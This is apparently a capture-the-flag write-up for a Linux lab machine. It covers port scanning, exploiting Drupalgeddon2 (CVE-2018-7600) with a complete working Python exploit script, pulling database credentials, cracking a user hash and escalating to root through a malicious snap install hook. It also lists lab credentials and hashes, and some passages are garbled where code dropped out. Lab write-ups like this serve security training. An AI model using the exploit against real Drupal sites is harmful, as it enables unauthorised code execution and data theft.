Machine Information
- Platform: Linux
- Difficulty: Easy
- IP Address: 10.129.235.106
Initial Enumeration
Nmap Scan
Nmap scan report for 10.129.235.106 Host is up (0.0092s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA) | 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA) |_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-title: Welcome to Armageddon | Armageddon |_http-generator: Drupal 7 (http://drupal.org) |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
Service Enumeration
Web Application
Running Nuclei revealed the site is running Drupal 7, which is vulnerable to CVE-2018-7600 (Drupalgeddon2).
Exploitation
CVE-2018-7600: Drupalgeddon2
CVE-2018-7600 is a critical remote code execution vulnerability in Drupal 7.x < 7.58. The vulnerability exists in the Form API where user-supplied input is not properly sanitized, allowing attackers to inject malicious code through form properties.
Affected Versions:
- Drupal 7.x before 7.58
- Drupal 8.x before 8.3.9
- Drupal 8.4.x before 8.4.6
- Drupal 8.5.x before 8.5.1
Attack Vector: The exploit abuses the #post_render property in Drupal’s Form API to execute arbitrary PHP functions.
I created an enhanced exploit script that accepts command-line arguments:
#!/usr/bin/env python3
"""
CVE-2018-7600 - Drupal 7.x Remote Code Execution (Drupalgeddon2)
Updated to accept commands as arguments
Original by firefart
"""
import argparse
import re
import requests
import sys
def exploit(host, command):
if not host.endswith('/'):
host += '/'
# Prepare malicious GET parameters
get_params = {
'q': 'user/password',
'name[#post_render][]': 'passthru',
'name[#markup]': command,
'name[#type]': 'markup'
}
# POST parameters
post_params = {
'form_id': 'user_pass',
'_triggering_element_name': 'name'
}
try:
# Send exploit payload
r = requests.post(host, data=post_params, params=get_params, timeout=10)
# Extract form_build_id
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if not m:
print("[-] Target does not appear to be vulnerable")
return None
found = m.group(1)
# Retrieve command output
get_params = {'q': 'file/ajax/name/#value/' + found}
post_params = {'form_build_id': found}
r = requests.post(host, data=post_params, params=get_params, timeout=10)
r.encoding = 'ISO-8859-1'
output = r.text.split("[{")[0].strip()
return output if output else ""
except Exception as e:
print(f"[-] Exploit failed: {e}")
return None
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2018-7600 Drupal RCE Exploit')
parser.add_argument('-u', '--url', required=True, help='Target Drupal URL')
parser.add_argument('-c', '--command', required=True, help='Command to execute')
args = parser.parse_args()
print(f"[*] Target: {args.url}")
print(f"[*] Command: {args.command}")
result = exploit(args.url, args.command)
if result is not None:
print(f"\n[+] COMMAND OUTPUT:\n{result}")
else:
print("[-] Exploitation failed")
sys.exit(1)
Extracting Database Credentials
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
Dumping User Credentials
Cracking the Hash
Credentials: brucetherealadmin:booboo
SSH Access
1563d4fba2cdd05aa886b7ab4671ee2bPost-Exploitation Enumeration
The user can run /usr/bin/snap install * as root without a password - this can be exploited for privilege escalation.
Reference: GTFOBins - snap
Privilege Escalation
Snap Install Exploit
The exploit creates a malicious snap package with an install hook that runs as root. The key insight is using /var/lib/snapd/hostfs/ to access the real host filesystem and create a SUID bash binary.
f69b8411be353a195c7d791e253cd183/var/lib/snapd/hostfs/var/tmp/rootbash, we’re writing to the actual host filesystem (not the snap sandbox), creating a SUID bash binary owned by root.Loot
Credentials
brucetherealadminbooboo10.129.235.106drupaluserCQHEy@9M*m23gBVjlocalhostHashes
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURtKey Takeaways
- CVE-2018-7600 is a critical RCE vulnerability in Drupal 7 that exploits the Form API’s
#post_renderproperty - Always check for default credentials and database configuration files after gaining initial access
- The
snap installprivilege can be exploited by creating malicious snap packages with install hooks - Using
/var/lib/snapd/hostfs/allows escaping the snap sandbox to access the real filesystem